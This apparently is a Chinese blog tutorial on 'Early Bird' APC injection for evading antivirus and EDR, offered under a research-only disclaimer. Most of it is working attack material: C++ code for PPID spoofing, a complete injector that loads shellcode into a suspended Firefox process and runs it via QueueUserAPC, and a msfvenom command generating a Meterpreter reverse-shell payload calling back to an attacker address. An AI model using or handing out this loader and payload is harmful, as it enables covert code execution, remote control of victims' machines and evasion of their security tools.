免杀技巧 - 早鸟注入详细学习笔记

免责声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或其他攻击他人系统以及盈利等目的,一切后果由操作者自行承担。

早鸟注入原理

"早鸟注入" 是一种高级的恶意代码注入技术,核心原理是利用 Windows 进程初始化的窗口期,在安全工具尚未加载钩子(Hook)或启动监控之前,将恶意代码植入合法进程并执行,从而绕过反病毒软件(AV)和端点检测与响应(EDR)系统的防御。

传统的代码注入(如 DLL 注入、APC 注入)容易被安全工具通过监控 API 调用或进程内存变化检测到。早鸟注入的突破点在于抢占进程执行的早期阶段,利用 Windows 线程初始化的特定时序,在安全机制生效前完成恶意代码的加载和执行。该技术最早由伊朗 APT 组织 APT33 使用,用于植入 TurnedUp 后门、DorkBot 僵尸网络等恶意软件。

核心执行流程

1. 创建挂起进程

攻击者首先通过 CreateProcess API 创建一个合法进程(如 svchost.exe、notepda.exe),并将其设置为挂起状态(CREATE_SUSPENDED 标志)。此时进程尚未执行主线程代码,处于初始化阶段。

2. 分配内存并写入恶意代码

使用 VirtualAllocEx 在挂起进程的地址空间内分配可执行内存,再通过 WriteProcessMemory 将恶意代码(如 Shellcode)写入该区域。这一步类似于 "空心化进程"(Process Hollowing)技术,但更注重时序控制。

3. 队列异步过程调用(APC)

通过 QueueUserAPC API 将恶意代码的执行函数插入挂起进程的主线 APC 队列。APC 是 Windows 的异步执行机制,允许线程在特定条件下(可告警状态)执行队列中的函数。

4. 恢复线程并触发 APC 执行

调用 ResumeThread 恢复挂起进程的主线程。此时,线程进入初始化阶段,内核会执行 NtTestAlert 函数检查 APC 队列。若队列非空,内核将强制跳转至 KiUserApcDispatcher 执行 APC 函数,即恶意代码。这一过程发生在安全工具加载钩子之前,因此可以避开杀软监控。

规避机制

1. 绕过钩子监控

反病毒软件通过在进程启动后注入钩子(如 API 钩子、ETW 事件监控)来检测异常行为。早鸟注入的恶意代码执行时间早于钩子安装,因此不会被记录或拦截。

2. 伪装合法进程行为

攻击者常选择系统进程(如 svchost.exe)或常见应用(Edge 浏览器)作为宿主,利用其正常的网络通信或系统调用掩盖恶意行为。例如,将恶意代码注入 Edge 进程后,其外联行为可能被误认为是正常的网页访问。

3. 免杀技术结合

早鸟注入常与其他免杀手段配合使用,如:

  • 直接系统调用:通过 SysWhispers 等工具生成无 API 签名的系统调用,避免触发 EDR 的 API 监控。
  • PPID 欺骗:修改进程的父进程 ID(PPID)为可信进程(如 sihost.exe),混淆进程树结构。
  • Shellcode 低熵处理:通过拼接字符串或加密降低 Shellcode 的熵值,规避基于静态特征的检测。

早鸟注入的本质是时间差攻击,通过精准控制进程初始化的时序,将恶意代码嵌入合法进程的 "执行真空期"。

代码实现案例

下面的代码是关于进程 ID、句柄获取相关的代码。

cpp 复制代码
// 获取父进程ID - 用于PPID欺骗
DWORD GetParentProcessId(DWORD pid) {
    DWORD parentPid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);

        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (pe32.th32ProcessID == pid) {
                    parentPid = pe32.th32ParentProcessID;
                    break;
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return parentPid;
}


// 设置父进程ID - PPID欺骗核心函数
BOOL SetParentProcess(HANDLE hProcess, DWORD parentPid) {
    typedef NTSTATUS(NTAPI* pNtSetInformationProcess)(HANDLE, ULONG, PVOID, ULONG);

    pNtSetInformationProcess NtSetInformationProcess =
        (pNtSetInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");

    if (NtSetInformationProcess == NULL) {
        return FALSE;
    }

    // 设置进程父PID
    NTSTATUS status = NtSetInformationProcess(hProcess, 0x1D, &parentPid, sizeof(DWORD));
    return NT_SUCCESS(status);
}

// 遍历进程列表获取 explorer.exe 的 PID 作为浏览器的 PPID
DWORD FindExplorerPID() {
    DWORD pid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);
    return pid;
}

-----------------------------------------------------------------------------------------------------

// 使用时调用 SetParentProcess 函数,并传入对应的参数,第一个参数是进程句柄,第二个参数是目标 PPID 值
// 示例代码
if (spoofPid != 0) {
    if (SetParentProcess(pInfo.hProcess, spoofPid)) {
        printf("[+] PPID spoofing applied: new parent PID %d\n", spoofPid);
    }
    else {
        printf("[!] PPID spoofing failed\n");
    }
}

这里有必要解释一下什么是 PPID 欺骗,PPID(Parent Process ID)欺骗是指修改新创建进程的父进程ID,使其看起来是由另一个(通常是合法的)进程创建的,而不是实际的创建者进程。

cpp 复制代码
************
  工作原理
************

// 实际情况:
恶意程序(A) ──创建──> Edge进程(B)
                │
                └─ 父进程ID = A的PID

// PPID欺骗后:
恶意程序(A) ──创建──> Edge进程(B)
                │
                └─ 父进程ID = explorer.exe的PID (看起来)
cpp 复制代码
**************************
 以浏览器进程为例的具体应用
**************************

// 你要注入的目标:
目标进程 = msedge.exe

// PPID欺骗的目标:
欺骗后的父进程 = explorer.exe (或其他可信进程)

// 效果:
任务管理器显示:explorer.exe → msedge.exe
实际创建者:你的恶意程序 → msedge.exe

正常的 Edge 浏览器通常由 explorer.exe(用户操作)或 svchost.exe(系统服务)启动。如果 Edge 浏览器突然被一个可疑进程启动,会可能会触发警报,改为被 explorer.exe 启动,看起来就像用户双击打开的。

这里我直接使用火狐浏览器来演示,Edge 也是一样的,只不过是把 firefox.exe 换成 Edge 的主线程即可。

先用 msf 生成一个二进制的 shellcode 文件

cpp 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw -o 1.bin

完整实现代码

cpp 复制代码
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>
#pragma comment(lib, "OneCore.lib")
#pragma comment(lib, "ntdll")

using myNtTestAlert = NTSTATUS(NTAPI*)();  // 指向 ntdll.dll 中 NtTestAlert 函数

// 自定义内存拷贝,处理内存重叠情况。
void mymemcpy(void* dst, void* src, size_t size) {
    char* psrc, * pdst;
    if (dst == NULL || src == NULL) return;

    if (dst <= src) {
        psrc = (char*)src;
        pdst = (char*)dst;

while (size--) *pdst++ = *psrc++;
    }
    else
    {
    psrc = (char*)src + size - 1;
    pdst = (char*)dst + size - 1;

    while (size--) *pdst-- = *psrc--;
    }
}

// 遍历进程列表获取 explorer.exe 的 PID 作为浏览器的 PPID
DWORD FindExplorerPID() {
    DWORD pid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);
    return pid;
}

int main() {
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("C:\\Users\\Administrator\\Desktop\\1.bin", "rb"); // 以二进制读模式打开文件
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);                                             // 获取文件总大小
    fseek(fp, 0, SEEK_SET);

    buffer = (unsigned char*)malloc(size);                        // 分配与文件大小一致的内存 buffer
    fread(buffer, size, 1, fp);                                   // 将文件内容读入 buffer

    fclose(fp);

    // 获取 explorer.exe 的 PID 和句柄
    DWORD explorerPid = FindExplorerPID();
    HANDLE hExplorer = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);

    // 准备进程创建(PPID 欺骗)
    STARTUPINFOEXA sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // 初始化属性列表
    SIZE_T attributeSize = 0;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    sInfo.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(sInfo.lpAttributeList, 1, 0, &attributeSize);

    // 设置父进程为 explorer.exe
    UpdateProcThreadAttribute(sInfo.lpAttributeList, 0, 
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hExplorer, sizeof(HANDLE), NULL, NULL);

    // 创建挂起的火狐进程(带 PPID 欺骗)
    LPCSTR lpApplication = "C:\\Program Files\\Mozilla Firefox\\firefox.exe";
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);

    // 在目标进程分配内存
    LPVOID remoteMem = VirtualAllocEx(pInfo.hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // 写入 payload
    WriteProcessMemory(pInfo.hProcess, remoteMem, buffer, size, NULL);

    // 排队 APC
    QueueUserAPC(PAPCFUNC(remoteMem), pInfo.hThread, NULL);

    // ResumeThread 恢复了目标线程
    ResumeThread(pInfo.hThread);

    // 清理资源
    DeleteProcThreadAttributeList(sInfo.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, sInfo.lpAttributeList);
    CloseHandle(hExplorer);
    CloseHandle(pInfo.hProcess);
    CloseHandle(pInfo.hThread);
    free(buffer);

    return 0;
}

步骤

  1. 读取 Payload

  2. 创建目标进程(firefox)但挂起主线程(CREATE_SUSPENDED)

  3. 使用PPID欺骗技术,将新进程的父进程设置为指定的进程(例如explorer.exe)

  4. 在目标进程中分配内存并写入payload(可以使用VirtualAllocEx和WriteProcessMemory)

  5. 使用QueueUserAPC将payload的地址作为APC函数排队到主线程

  6. 恢复主线程,触发APC执行

【提示】:挂起状态的线程恢复后,会自动触发用户态 APC 执行,不再需要像普通 APC 注入那样强制去触发 APC 执行,这也是早鸟注入的一个核心原理。

最终实现效果

在任务浏览器中可以找到我们启动的火狐浏览器进程,该进程结束,连接也跟着断开了

欢迎师傅关注,不定期更新免杀技术详细分析文章,还有渗透测试实战技巧分析文章等!

相关推荐
BreezeJuvenile2 小时前
外设模块学习(8)——HC-SR04超声波模块(STM32)
stm32·单片机·嵌入式硬件·学习·超声波测距模块·hc-sr04
pursue.dreams3 小时前
Ubuntu安装Jenkins完整教程
linux·ubuntu·jenkins
实心儿儿3 小时前
Linux系统 —— 基础命令1
linux·运维·服务器
大龄Python青年3 小时前
C#快入教程:Linux安装.NET
linux·c#·.net
竹等寒3 小时前
Go红队开发—图形化界面
网络安全·golang·个人开发
LBuffer3 小时前
破解入门学习笔记题三十八
笔记·学习
微露清风4 小时前
系统性学习C++-第十讲-stack 和 quene
java·c++·学习
抠脚学代码4 小时前
Linux开发-->驱动开发-->字符设备驱动框架
linux·数据结构·驱动开发
PyAIGCMaster4 小时前
钉钉的设计理念方面,我可以学习
人工智能·深度学习·学习·钉钉